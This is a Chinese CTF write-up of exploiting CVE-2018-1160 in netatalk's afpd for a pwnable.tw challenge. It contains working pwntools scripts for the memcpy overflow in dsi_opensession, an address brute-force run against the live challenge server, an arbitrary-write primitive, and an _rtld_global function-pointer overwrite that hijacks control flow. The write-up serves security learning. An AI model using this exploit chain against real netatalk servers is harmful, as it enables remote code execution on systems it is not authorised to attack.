13

和徐老一起学Pwn 之 Pwnable.tw CVE-2018-1160

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2021/11/06/netatalk/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

和徐老一起学Pwn 之 Pwnable.tw CVE-2018-1160

发表于 2021-11-06

| 分类于 CTF/Pwn

和徐老一起完成,HITCON2019时为netatalk的1day,漏洞是由于memcpy长度没限制导致的越界写,可覆盖关键变量,最终可导致有一次任意地址写,主要挑战为绕过ASLR。由于程序通过fork出一个子进程来处理每一个连接,所以在任意地址写时,可从低到高逐字节的覆盖并爆破原本的合法地址。比较麻烦的是,因为没有和Pwnable远程题目一模一样的环境,所以从合法地址到libc基址仍需要再爆破一次。最后通过覆写位于ld.so数据段_rtld_global结构体,并在程序超时退出时(远程tcp close后需要三分钟),完成控制流劫持并反弹shell。

这个洞是2018年被发现,2019年被用到了HITCON Quals上,后又被收录到Pwnable.tw。所以主要有以下三部分文章:

hitcon相关:

Pwnable相关:

以上文章写过的我基本就简写了,补充些分析过程以及做题细节。

题目给了二进制、配置文件、需要的运行库,所以不需要编译以及安装其他依赖即可运行。

源码:https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

主要目标二进制是:afpd、libatalk.so.18,他们在源码中的路径是:

  • /netatalk-3.1.11/etc/afpd/
  • /netatalk-3.1.11/libatalk/

漏洞点在 /netatalk-3.1.11/libatalk/dsi/dsi_opensess.cdsi_opensession 函数中的 memcpy

/* /netatalk-3.1.11/libatalk/dsi/dsi_opensess.c */

void dsi_opensession(DSI *dsi)
{
  ...
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);
  ...

其中memcpy的长度参数 dsi->commands[i] 由外部传入,且没检查大小,导致可溢出到DSI结构体中attn_quantum的后续成员。

/* /netatalk-3.1.11/include/atalk/dsi.h */

#define DSI_DATASIZ       65536

typedef struct DSI {
    ...
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

但可见成员 commands 的类型为uint8_t*,所以memcpy的最大长度是0xff。并且由于 DSI_DATASIZ 为65535,所以溢出部分data后就无法向后溢出了,故最终只能溢出如上这些成员变量。

开始看这个memcpy的参数一头雾水,为啥拷贝的源地址,和长度都与 dsi->commands 相关:

switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

而且开头还有个switch里++,越看越费解。所以首先我应该知道dsi是个啥。在源码中没有查到dsi全称,然后发现漏洞原文中有wireshark的截图,并且可以看到wireshark支持解析这个协议,那应该是个挺标准的协议。Google搜索 dsi_opensession protocol 即可搜到:Data Stream Interface,对照其协议格式,和漏洞PoC:

发现,PoC中的header就是符合dsi协议的字段,协议中的Payload就是PoC中的commands,可看到commands的构成是:

commands = "\x01"   # DSIOPT_ATTNQUANT 选项的值
commands += "\x80"  # 数据长度
commands += "\xaa" * 0x80

再对应memcpy,基本就能看明白了:

switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

其中DSIOPT_ATTNQUANT为0x1:

/* /netatalk-3.1.11/include/atalk/dsi.h */

#define DSIOPT_ATTNQUANT 0x01   /* attention quantum */

所以memcpy就是从commands数据中按顺序解析出三个元素:功能码,数据长度,数据载荷。所以,也就是由于拷贝的需要的两个参数是揉在一段数据里,并且没有变量名标识,导致看起来比较费解:

commands = 功能码(1 byte) + 数据长度(1 byte) + 数据载荷(n byte)

故最终交互,就是构造dsi数据包,并给发送给目标的tcp端口。尝试溢出server_quantum,这个字段可在回包中收到:

from pwn import *
context(endian='big',log_level='debug')
io = remote("chall.pwnable.tw",10002)

cmd  = b'\x01'+ p8(0xc)+ b'a'*0xc
dsi  = b'\x00\x04\x00\x01' 
dsi += p32(0)
dsi += p32(len(cmd)) 
dsi += p32(0)
dsi += cmd

io.send(dsi)
io.recv()

测试的确可以收到4个a:

➜   python3 exp.py
[+] Opening connection to chall.pwnable.tw on port 10002: Done
[DEBUG] Sent 0x1e bytes:
    00000000  00 04 00 01  00 00 00 00  00 00 00 0e  00 00 00 00  │····│····│····│····│
    00000010  01 0c 61 61  61 61 61 61  61 61 61 61  61 61        │··aa│aaaa│aaaa│aa│
    0000001e
[DEBUG] Received 0x1c bytes:
    00000000  01 04 00 01  00 00 00 00  00 00 00 0c  00 00 00 00  │····│····│····│····│
    00000010  00 04 61 61  61 61 02 04  00 00 00 80               │··aa│aa··│····│
    0000001c
[*] Closed connection to chall.pwnable.tw port 10002

如果想看到清晰的协议格式,可以用wireshark,但因为端口不是协议默认,故需要手动让其识别:

上面的交互的确看起来是触发了漏洞并覆盖了变量,不过想看到内存破坏还是得gdb调试。首先本地启动目标程,题目给的libc是2.27,所以使用ubuntu18.04的虚拟机:

➜  LD_PRELOAD="./libatalk.so.18"  ./afpd -d -F ./afp.conf

然后检查一下端口情况,成功运行:

➜  sudo netstat -pantu | grep 5566
tcp6    0    0 :::5566     :::*    LISTEN     123345/./afpd    

由于我们每次攻击的是fork出来的子进程,所以需要让gdb跟着子进程:

➜  sudo gdb --pid 123345 -q

gef➤  set follow-fork-mode child
gef➤  c

然后打一发会引发内存破坏的PoC:

from pwn import *
context(endian='big',log_level='debug')
io = remote("127.0.0.1",5566)

cmd  = b'\x01'+ p8(0x80)+ b'a'*0x80
dsi  = b'\x00\x04\x00\x01' 
dsi += p32(0)
dsi += p32(len(cmd)) 
dsi += p32(0)
dsi += cmd

io.send(dsi)
io.recv()

gdb窗口成功进入子进程并崩溃在dsi_opensession中:

gef➤  c
Continuing.
[New process 123552]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f863b8e7740 (LWP 123552)]
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x61616161        
$rbx   : 0x0000563fcd14df00  →  0x0000000000000000
$rcx   : 0x6161616161616161 ("aaaaaaaa"?)
$rdx   : 0x0               
$rsp   : 0x00007ffce77c8840  →  0x0000000000000000
$rbp   : 0x0000563fcd14df00  →  0x0000000000000000
$rsi   : 0x00007f863b7e6092  →  0x0000000000000000
$rdi   : 0x0000563fcd14e658  →  0x0000000000000000
$rip   : 0x00007f863b486fbb  →  <dsi_opensession+139> movzx eax, BYTE PTR [rcx+r9*1]
$r8    : 0x0000563fcd14e5d8  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$r9    : 0x1               
$r10   : 0x25              
$r11   : 0x293             
$r12   : 0x0000563fcd14a8b0  →  0x0000563fcd14a9f0  →  0x0000000000000000
$r13   : 0x1e              
$r14   : 0x00007ffce77c8940  →  0x0000000000000000
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffce77c8840│+0x0000: 0x0000000000000000	 ← $rsp
0x00007ffce77c8848│+0x0008: 0x00007f863b486c63  →  <dsi_getsession+467> mov QWORD PTR [r14], 0x0
0x00007ffce77c8850│+0x0010: 0x0000000000000000
0x00007ffce77c8858│+0x0018: 0x0000000600000005
0x00007ffce77c8860│+0x0020: 0x0000000000000000
0x00007ffce77c8868│+0x0028: 0x0000000000000000
0x00007ffce77c8870│+0x0030: 0x0000000000000000
0x00007ffce77c8878│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f863b486fad <dsi_opensession+125> mov    eax, DWORD PTR [rbx+0x6d8]
   0x7f863b486fb3 <dsi_opensession+131> bswap  eax
   0x7f863b486fb5 <dsi_opensession+133> mov    DWORD PTR [rbx+0x6d8], eax
 → 0x7f863b486fbb <dsi_opensession+139> movzx  eax, BYTE PTR [rcx+r9*1]
   0x7f863b486fc0 <dsi_opensession+144> lea    esi, [rdx+rax*1+0x2]
   0x7f863b486fc4 <dsi_opensession+148> cmp    rsi, QWORD PTR [rbx+0x106f8]
   0x7f863b486fcb <dsi_opensession+155> mov    rdx, rsi
   0x7f863b486fce <dsi_opensession+158> jb     0x7f863b486f80 <dsi_opensession+80>
   0x7f863b486fd0 <dsi_opensession+160> mov    QWORD PTR [rbx+0x106f8], 0xc
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0x7f863b486fbb in dsi_opensession (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f863b486fbb → dsi_opensession()
[#1] 0x7f863b486c63 → dsi_getsession()
[#2] 0x563fcc883645 → main()
───────────────────────────────────────────────────────────────────────────────────────────
0x00007f863b486fbb in dsi_opensession () from ./libatalk.so.18
gef➤

死因很明显,对rcx(0x6161616161616161)这个非法地址解引用了。接下来定位一下我们覆盖的目标结构体在哪:

from pwn import *
context(endian='big',log_level='debug')
io = remote("127.0.0.1",5566)

cmd  = b'\x01'+ p8(0xc)+ b'a'*0x8+'xuan'
dsi  = b'\x00\x04\x00\x01' 
dsi += p32(0)
dsi += p32(len(cmd)) 
dsi += p32(0)
dsi += cmd

io.send(dsi)
io.recv()

由于父进程不会死,所以很方便,还是原来的命令,断点直接打在刚才死的位置,打完exp后成功断下:

➜  sudo gdb --pid 123345 -q
gef➤  set follow-fork-mode child
gef➤  b * 0x7f863b486fbb
gef➤  c
Continuing.
[New process 123664]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Switching to Thread 0x7f863b8e7740 (LWP 123664)]

Thread 2.1 "afpd" hit Breakpoint 1, 0x00007f863b486fbb in dsi_opensession () from ./libatalk.so.18

全局搜索特征串xuan,分析后,rdi寄存器的值,也即0x563fcd14e5e0,就是结构中server_quantum的位置:

gef➤  grep xuan
[+] Searching 'xuan' in memory
[+] In '[heap]'(0x563fcd12c000-0x563fcd16e000), permission=rw-
  0x563fcd14e5e0 - 0x563fcd14e5e4  →   "xuan" 
[+] In (0x7f863b7e6000-0x7f863b8e7000), permission=rw-
  0x7f863b7e601a - 0x7f863b7e601e  →   "xuan" 

gef➤  x /20gx 0x563fcd14e5e0
0x563fcd14e5e0:	0x000100006e617578	0x00007f863b7e6010
0x563fcd14e5f0:	0x0000000000000000	0x0000000000000000
0x563fcd14e600:	0x0000000000000000	0x0000000000000000

对应结构体:

/* /netatalk-3.1.11/include/atalk/dsi.h */

#define DSI_DATASIZ       65536

typedef struct DSI {
    ...
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

故位于0x563fcd14e5e80x00007f863b7e6010就是commands,根据程序内存布局,梳理一下变量:

...
0x0000563fcc879000 0x0000563fcc8bb000 0x0000000000000000 r-x /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccaba000 0x0000563fccabc000 0x0000000000041000 r-- /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccabc000 0x0000563fccabf000 0x0000000000043000 rw- /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccabf000 0x0000563fccade000 0x0000000000000000 rw- 
0x0000563fcd12c000 0x0000563fcd16e000 0x0000000000000000 rw- [heap]
0x00007f86354f5000 0x00007f86360f6000 0x0000000000000000 rw- 
...
0x00007f863b6ef000 0x00007f863b718000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b7e6000 0x00007f863b8e7000 0x0000000000000000 rw- 
0x00007f863b8e7000 0x00007f863b8f8000 0x0000000000000000 rw- 
0x00007f863b916000 0x00007f863b918000 0x0000000000000000 rw- 
0x00007f863b918000 0x00007f863b919000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b919000 0x00007f863b91a000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b91a000 0x00007f863b91b000 0x0000000000000000 rw- 
...
  • dsi结构体,其中成员位于0x563fcd14e5e0,这是堆段
  • commands指向的内存为0x7f863b7e6010,位于ld.so后面的数据段,目前不详这段内存是啥

所以本次memcpy的漏洞不能触发堆溢出,能想到,主要的玩法就在这个能被覆盖的commands指针上了。

要想彻底明白漏洞本身以及利用方法,自然少不了看源码,最主要的是要看明白被覆盖变量的内存位置,用法,以及生命周期。这里简略的记录了一些动作的调用路径:

连接初始化

[afpd] main -> configinit -> dsi_init

[libatalk] dsi_init -> dsi_tcp_init ->  dsi->proto_open = dsi_tcp_open
[afpd] main -> dsi_start -> dsi_getsession

[libatalk] dsi_getsession  -> dsi->proto_open -> dsi_tcp_open -> fork
[afpd] main -> dsi_start -> dsi_getsession

[libatalk] dsi_getsession -> dsi_opensession (bug!!!)

dsi->commands 初始化

[afpd] main -> dsi_start -> dsi_getsession

[libatalk] dsi_getsession  -> dsi->proto_open -> dsi_tcp_open ->

           dsi_init_buffer -> dsi->commands = malloc(dsi->server_quantum)

// 故一个tcp连接init一次dsi->commands

// 值得注意的是
// 由于server_quantum被初始化为0x100000,为1024k,大于128k
// 故对dsi->commands初始化时指向的malloc内存由mmap分配
// 这就解释了上文commands指向0x7f863b7e6010的原因

exploit

// dsi_stream_write:    just write a bunch of bytes.
// dsi_stream_read:     just read a bunch of bytes.
// dsi_stream_send:     send a DSI header + data.
// dsi_stream_receive:  read a DSI header + data.


[afpd] main -> dsi_start -> afp_over_dsi -> dsi_stream_receive

[libatalk] dsi_stream_receive -> dsi_stream_read(dsi, dsi->commands, dsi->cmdlen)

// 故修改完commands指针后,在本次tcp中再发一个包就可以任意地址写了,数据内容在dsi中的payload,不包括header

由于连接题目远程很慢,根据题目信息,其服务器是linode提供的,检查ip在日本东京,所以如果使用相同机房的服务器进行解题,则会快很多。买与题目内核版本相同的日本的服务器,测试速度:

root@localhost:~# ping chall.pwnable.tw
PING chall.pwnable.tw 139.162.123.119 56(84) bytes of data.
64 bytes from  139.162.123.119: icmp_seq=1 ttl=63 time=0.801 ms
64 bytes from  139.162.123.119: icmp_seq=2 ttl=63 time=1.03 ms
64 bytes from  139.162.123.119: icmp_seq=3 ttl=63 time=0.853 ms
64 bytes from  139.162.123.119: icmp_seq=4 ttl=63 time=0.743 ms
64 bytes from  139.162.123.119: icmp_seq=5 ttl=63 time=0.622 ms

以前面的数据为例,commands指向0x7f863b7e6010,根据观察可知,这个地址和动态库的地址很像,至少7f863,这两个半字节是完全一致的:

0x00007f863aa45000 0x00007f863ac2c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ac2c000 0x00007f863ae2c000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae2c000 0x00007f863ae30000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae30000 0x00007f863ae32000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae32000 0x00007f863ae36000 0x0000000000000000 rw- 
0x00007f863ae36000 0x00007f863ae50000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863ae50000 0x00007f863b04f000 0x000000000001a000 --- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b04f000 0x00007f863b050000 0x0000000000019000 r-- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b050000 0x00007f863b051000 0x000000000001a000 rw- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b051000 0x00007f863b055000 0x0000000000000000 rw- 
0x00007f863b055000 0x00007f863b05c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b05c000 0x00007f863b25b000 0x0000000000007000 --- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25b000 0x00007f863b25c000 0x0000000000006000 r-- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25c000 0x00007f863b25d000 0x0000000000007000 rw- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25d000 0x00007f863b260000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b260000 0x00007f863b45f000 0x0000000000003000 --- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b45f000 0x00007f863b460000 0x0000000000002000 r-- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b460000 0x00007f863b461000 0x0000000000003000 rw- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b461000 0x00007f863b4df000 0x0000000000000000 r-x /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b4df000 0x00007f863b6de000 0x000000000007e000 --- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6de000 0x00007f863b6df000 0x000000000007d000 r-- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6df000 0x00007f863b6e1000 0x000000000007e000 rw- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6e1000 0x00007f863b6ef000 0x0000000000000000 rw- 
0x00007f863b6ef000 0x00007f863b718000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b7e6000 0x00007f863b8e7000 0x0000000000000000 rw- 
0x00007f863b8e7000 0x00007f863b8f8000 0x0000000000000000 rw- 
0x00007f863b916000 0x00007f863b918000 0x0000000000000000 rw- 
0x00007f863b918000 0x00007f863b919000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b919000 0x00007f863b91a000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so

具体分析一下:

0x7f863b7e6010 // commands地址
0x7f8630000000 // 有效高位两个半字节地址
0x7f863????000 // 所有段的基址都是4k页对齐

则如果能拿到一个有效的高两个半字节,最差的情况爆破65536次,必能爆出libc的基址,故首先爆破一个可写的合法地址:

设计了中间第3-6个字节从0xff向0x00爆破,其余从0x00向0xff爆破的策略,在本地能比较准的拿到mmap的地址

from pwn import *
context(endian='big')

leak_addr = b''
for j in range(8):
    for i in range(256):
        if(j>1 and j<6): i = 255 - i
        io = remote("chall.pwnable.tw",10002)
        payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak_addr + p8(i)
        dsi  = b'\x00\x04\x00\x01'
        dsi += p32(0)
        dsi += p32(len(payload))
        dsi += p32(0)
        dsi += payload
        io.send(dsi)
        try:
            a = io.recv()
            leak_addr += p8(i)
            log.success(str(hex(i)))
            io.close()
            break
        except:
            io.close()
log.success(hex(u64(leak_addr,endian='little')))

2021.11.6 对 pwnable.tw 爆破的结果为:

[*] Closed connection to chall.pwnable.tw port 10002
[+] 0x7fa9bcc90000

根据本地结果,可以发现mmap地址与libc相隔并不远,如果认为这个地址是mmap的地址,那么libc地址应该比他小,因为这个mmap在ld.so后面,所以对libc的爆破为:

leak_addr = 0x7fa9bcc90000
for i in range(0x0000000,0xffff000,0x1000):
    libc_addr = leak_addr - i 

于是遇到了问题,你怎么知道你libc爆破对了?所以需要先确立打法,然后爆破libc并攻击,直到打成为止。

任意地址写

所以先在本地搞一下任意地址写,直接测试对爆破出来的合法地址写:

from pwn import *
context(endian='little')

ip   = "127.0.0.1"
port = 5566

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

def boom():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i
            io = remote(ip,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(gen_dsi(payload))
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = boom()
log.success(hex(leak_addr))

input()
io = remote(ip,port)
aaw(io,leak_addr,b"xuanxuan")

当打印合法地址时,此时会由于input卡住,留出gdb的时间:

[*] Closed connection to 127.0.0.1 port 5566
[+] Opening connection to 127.0.0.1 on port 5566: Done
[+] 0x0
[*] Closed connection to 127.0.0.1 port 5566
[+] 0x7f863b8f6000

开gdb:

➜  sudo gdb --pid 123345 -q

gef➤  set follow-fork-mode child
gef➤  c

然后exp窗口中回车继续执行,gdb进入子进程,由于合法地址,不会崩,故ctrl+c暂停进程,然后查看内存,的确写成了:

gef➤  x /2s 0x7f863b8f6000
0x7f863b8f6000:	"xuanxuan"
0x7f863b8f6009:	""

但此任意内存写只有一次,因为dsi_getsession在一次tcp连接中只有一次,不过好在这个任意地址写的内容长度可以很大。

_rtld_global

按照官方wp的解法,当有了libc的基址后,是可以写_rtld_global的,打法如下:

要彻底理解_rtld_global的实现还是比较困难的,因为其代码在libc和ld相关的底层函数中,并且写法太trick了…

主要原理就是程序在exit时会调用一个函数指针,这个函数指针以及参数都在_rtld_global这个结构体里,我之前一直以为这个东西,在libc里,这次才发现他在ld.so的数据段里,而这个符号存在于libc的got表中…

.got:00000000003EADE8 _rtld_global_ptr dq offset _rtld_global ; DATA XREF: __libc_start_main+15F↑r

还有其他外部符号:

extern:00000000003F0B78 ; Segment type: Externs
extern:00000000003F0B78 ; extern
extern:00000000003F0B78                 extrn _rtld_global      ; DATA XREF: .got:_rtld_global_ptr↑o
extern:00000000003F0B80                 extrn __libc_enable_secure
extern:00000000003F0B80                                         ; DATA XREF: .got:__libc_enable_secure_ptr↑o
extern:00000000003F0B88                 extrn __tls_get_addr:near
extern:00000000003F0B88                                         ; CODE XREF: ___tls_get_addr↑j
extern:00000000003F0B88                                         ; DATA XREF: .got.plt:off_3EB058↑o
extern:00000000003F0B90                 extrn _dl_exception_create:near
extern:00000000003F0B90                                         ; CODE XREF: __dl_exception_create↑j
extern:00000000003F0B90                                         ; DATA XREF: .got.plt:off_3EB080↑o
extern:00000000003F0B98                 extrn _rtld_global_ro   ; DATA XREF: .got:_rtld_global_ro_ptr↑o
extern:00000000003F0BA0                 extrn __tunable_get_val:near
extern:00000000003F0BA0                                         ; CODE XREF: ___tunable_get_val↑j
extern:00000000003F0BA0                                         ; DATA XREF: .got.plt:off_3EB0A0↑o
extern:00000000003F0BA8                 extrn _dl_find_dso_for_object:near
extern:00000000003F0BA8                                         ; CODE XREF: __dl_find_dso_for_object↑j
extern:00000000003F0BA8                                         ; DATA XREF: .got.plt:off_3EB0F8↑o
extern:00000000003F0BB0                 extrn _dl_argv          ; DATA XREF: .got:_dl_argv_ptr↑o
extern:00000000003F0BB8                 extrn _dl_starting_up ; weak
extern:00000000003F0BB8                                         ; DATA XREF: .got:_dl_starting_up_ptr↑o
extern:00000000003F0BB8

所以其实libc基址和_rtld_global的偏移并不固定,之前写的CTF Pwn 题中 libc 可用 函数指针 (攻击位置) 整理并不准确。经过测试,在系统环境,程序使用的动态库都确定时,其之间的偏移确实固定。也说明,在不管环境版本,以及动态库情况时,仅用libc.so的版本表明其与_rtld_global的偏移是某固定值,这是错误的。比如本题:

gef➤  vmmap libc-2.27
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007f863aa45000 0x00007f863ac2c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ac2c000 0x00007f863ae2c000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae2c000 0x00007f863ae30000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae30000 0x00007f863ae32000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
gef➤  p &_rtld_global
$1 = (struct rtld_global *) 0x7f863b919060 <_rtld_global>
gef➤  p /x 0x7f863b919060-0x00007f863aa45000
$2 = 0xed4060

再测一个helloworld:

gef➤  vmmap libc-2.27
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
gef➤  p &_rtld_global
$1 = (struct rtld_global *) 0x7ffff7ffd060 <_rtld_global>
gef➤  p /x 0x7ffff7ffd060-0x00007ffff79e2000
$2 = 0x61b060

这其中的差异是ld.so和libc.so中间可能还映射了其他的动态链接库,这个策略应该是内核定的,具体就不详了。总之这个打法就是打结构中的两个成员,在libc2.27中其偏移为:

  • 函数指针:_dl_rtld_lock_recursive (_rtld_global+2312)
  • 调用参数:_dl_load_lock (_rtld_global+3840)
gef➤  p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7f863b919968 <_rtld_global+2312>
gef➤  p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7f863b919f60 <_rtld_global+3840>
gef➤  p /x 0x7f863b919f60 - 0x7f863b919968
$3 = 0x5f8

故只要有一次任意地址写大小0x600字节的能力,就能控制流劫持并控制参数。并且在此处控制流劫持时,参数为_dl_load_lock的地址,所以如果是字符串参数,直接打到_dl_load_lock及之后的内存中即可,尝试打一次0xdeadbeef,本地为了方便直接复用之前爆破出的地址,手动算出与libc的偏移,libc与_rtld_global的偏移:

from pwn import *
context(endian='little')

ip   = "127.0.0.1"
port = 5566

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

leak_addr  = 0x7f863b8f6000
libc_addr  = leak_addr - 0xeb1000
rtld       = libc_addr + 0xed4060

io = remote(ip,port)
cmd = b'xuanxuan'
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(0xdeadbeef))

虽然题目说是0秒超时,但gdb进入子进程后并没有直接触发控制流劫持,所以手动ctrl+c将进程停止:

gef➤  set follow-fork-mode child
gef➤  c
Continuing.
[New process 3871]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
^C
Thread 2.1 "afpd" received signal SIGINT, Interrupt.
[Switching to Thread 0x7f863b8e7740 (LWP 3871)]

接下来是凯韬教我的大招,使用p,手动在gdb命令行里调函数,成功触发控制流劫持,并控制rdi指向的内容:

gef➤  p exit(0)

Thread 2.1 "afpd" received signal SIGALRM, Alarm clock.

Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007f863b919060  →  0x00007f863b91a170  →  0x0000563fcc879000  →   jg 0x563fcc879047
$rbx   : 0x00007f863b919060  →  0x00007f863b91a170  →  0x0000563fcc879000  →   jg 0x563fcc879047
$rcx   : 0x1               
$rdx   : 0x00007f863b6ffb40  →  <_dl_fini+0> push rbp
$rsp   : 0x00007ffce77c8738  →  0x00007f863b6ffbaf  →  <_dl_fini+111> mov edx, DWORD PTR [rbx+0x8]
$rbp   : 0x00007ffce77c8790  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007f863b919968  →  "xuanxuan"
$rip   : 0xdeadbeef        
$r8    : 0x1               
$r9    : 0x0               
$r10   : 0x00007ffce77c8690  →  0x0000000000000000
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x1               
$r14   : 0x00007f863ae35708  →  0x0000000000000000
$r15   : 0x00007f863ae31d80  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffce77c8738│+0x0000: 0x00007f863b6ffbaf  →  <_dl_fini+111> mov edx, DWORD PTR [rbx+0x8]	 ← $rsp
0x00007ffce77c8740│+0x0008: 0x0000000000000000
0x00007ffce77c8748│+0x0010: 0x0000000000000000
0x00007ffce77c8750│+0x0018: 0x0000000000000000
0x00007ffce77c8758│+0x0020: 0x0000000000000000
0x00007ffce77c8760│+0x0028: 0x0000000000000000
0x00007ffce77c8768│+0x0030: 0x0000000000000001
0x00007ffce77c8770│+0x0038: 0x00007f863ae30718  →  0x00007f863ae31d80  →  0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
───────────────────────────────────────────────────────────────────────────────────────────────── threads ────
